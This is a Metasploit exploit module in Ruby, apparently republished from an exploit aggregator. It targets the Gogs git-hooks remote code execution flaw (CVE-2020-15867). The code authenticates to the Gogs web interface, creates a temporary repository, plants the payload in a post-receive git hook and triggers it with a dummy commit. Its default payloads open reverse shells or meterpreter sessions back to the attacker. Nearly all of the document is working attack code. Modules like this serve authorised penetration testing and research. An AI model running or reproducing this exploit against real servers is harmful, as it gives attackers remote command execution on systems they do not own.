Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/MULTI/HTTP/GOGS_GIT_HOOKS_RCE/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gogs Git Hooks Remote Code Execution',
        'Description' => %q{
          This module leverages an insecure setting to get remote code
          execution on the target OS in the context of the user running Gogs.
          This is possible when the current user is allowed to create `git
          hooks`, which is the default for administrative users. For
          non-administrative users, the permission needs to be specifically
          granted by an administrator.

          To achieve code execution, the module authenticates to the Gogs web
          interface, creates a temporary repository, sets a `post-receive` git
          hook with the payload and creates a dummy file in the repository.
          This last action will trigger the git hook and execute the payload.
          Everything is done through the web interface.

          No mitigation has been implemented so far (latest stable version is
          0.12.3).

          This module has been tested successfully against version 0.12.3 on
          docker. Windows version could not be tested since the git hook feature
          seems to be broken.
        },
        'Author' => [
          'Podalirius',             # Original PoC
          'Christophe De La Fuente' # MSF Module
        ],
        'References' => [
          ['CVE', '2020-15867'],
          ['EDB', '49571'],
          ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
          ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
        ],
        'DisclosureDate' => '2020-10-07',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux win],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
    ])

    @need_cleanup = false
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # <meta name="author" content="Gogs" />
    unless res.body.match(%r{<meta +name="author" +content="Gogs" */>})
      return CheckCode::Unsupported('Target does not appear to be running Gogs.')
    end

    CheckCode::Appears('Gogs found')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
    gogs_login
    print_good('Logged in')

    @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
    print_status("Create repository \"#{@repo_name}\"")
    gogs_create_repo
    @need_cleanup = true
    print_good('Repository created')

    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(payload.encoded)
    when :linux_dropper, :win_dropper
      execute_cmdstager(background: true, delay: 1)
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    print_status('Setup post-receive hook with command')
    gogs_post_receive_hook(cmd)
    print_good('Git hook setup')

    print_status('Create a dummy file on the repo to trigger the payload')
    last_chunk = cmd_list ? cmd == cmd_list.last : true
    gogs_create_file(last_chunk: last_chunk)
    print_good("File created#{', shell incoming...' if last_chunk}")
  end

  def http_post_request(uri, opts = {})
    csrf = opts.delete(:csrf) || get_csrf(uri)
    timeout = opts.delete(:timeout) || 20

    post_data = { _csrf: csrf }.merge(opts)
    request_hash = {
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], uri),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => post_data
    }

    send_request_cgi(request_hash, timeout)
  end

  def get_csrf(uri)
    vprint_status('Get "csrf" value')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri)
    )
    unless res
      fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
    end

    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    csrf
  end

  def extract_value(res, attr)
    # <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
    # <input type="hidden" id="user_id" name="user_id" value="1" required>
    # <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
    unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
      return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
    end

    return match[:value]
  end

  def gogs_login
    res = http_post_request(
      '/user/login',
      user_name: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )
    unless res
      fail_with(Failure::Unreachable, 'Unable to reach the login page')
    end

    unless res.code == 302
      fail_with(Failure::NoAccess, 'Login failed')
    end

    nil
  end

  def gogs_create_repo
    uri = normalize_uri(datastore['TARGETURI'], '/repo/create')

    res = send_request_cgi('method' => 'GET', 'uri' => uri)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    vprint_status('Get "csrf" and "user_id" values')
    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    user_id = extract_value(res, 'user_id')
    vprint_good("user_id=#{user_id}")

    res = http_post_request(
      uri,
      user_id: user_id,
      repo_name: @repo_name,
      private: 'on',
      description: '',
      gitignores: '',
      license: '',
      readme: 'Default',
      auto_init: 'on',
      csrf: csrf
    )
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    unless res.code == 302
      fail_with(Failure::UnexpectedReply, 'Create repository failure')
    end

    nil
  end

  def gogs_post_receive_hook(cmd)
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
    shell = <<~SHELL
      #!/bin/bash
      #{cmd}&
      exit 0
    SHELL

    res = http_post_request(uri, content: shell)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    unless res.code == 302
      msg = 'Post-receive hook creation failure'
      if res.code == 404
        msg << ' (user is probably not allowed to create Git Hooks)'
      end
      fail_with(Failure::UnexpectedReply, msg)
    end

    nil
  end

  def gogs_create_file(last_chunk: false)
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
    filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"

    res = send_request_cgi('method' => 'GET', 'uri' => uri)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    vprint_status('Get "csrf" and "last_commit" values')
    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    last_commit = extract_value(res, 'last_commit')
    vprint_good("last_commit=#{last_commit}")

    http_post_request(
      uri,
      last_commit: last_commit,
      tree_path: filename,
      content: Rex::Text.rand_text_alpha(1..20),
      commit_summary: '',
      commit_message: '',
      commit_choice: 'direct',
      csrf: csrf,
      timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
    )
    vprint_status("#{filename} created")

    nil
  end

  # Hook the HTTP client method to add specific cookie management logic
  def send_request_cgi(opts, timeout = 20)
    res = super

    return unless res

    # HTTP client does not handle cookies with the same name correctly. It adds
    # them instead of substituing the old value with the new one.
    unless res.get_cookies.empty?
      cookie_jar_hash = cookie_jar_to_hash
      cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))
      cookie_jar_hash.merge!(cookies_from_response)
      cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
        set << "#{cookie[0]}=#{cookie[1]}"
      end
      cookie_jar.clear
      cookie_jar.merge(cookie_jar_updated)
    end

    res
  end

  def cookie_jar_to_hash(jar = cookie_jar)
    jar.each_with_object({}) do |cookie, cookie_hash|
      name, value = cookie.split('=')
      cookie_hash[name] = value
    end
  end

  def cleanup
    super
    return unless @need_cleanup

    print_status('Cleaning up')
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
    res = http_post_request(uri, action: 'delete', repo_name: @repo_name)

    unless res
      fail_with(Failure::Unreachable, 'Unable to reach the settings page')
    end

    unless res.code == 302
      fail_with(Failure::UnexpectedReply, 'Delete repository failure')
    end

    print_status("Repository #{@repo_name} deleted.")

    nil
  end
end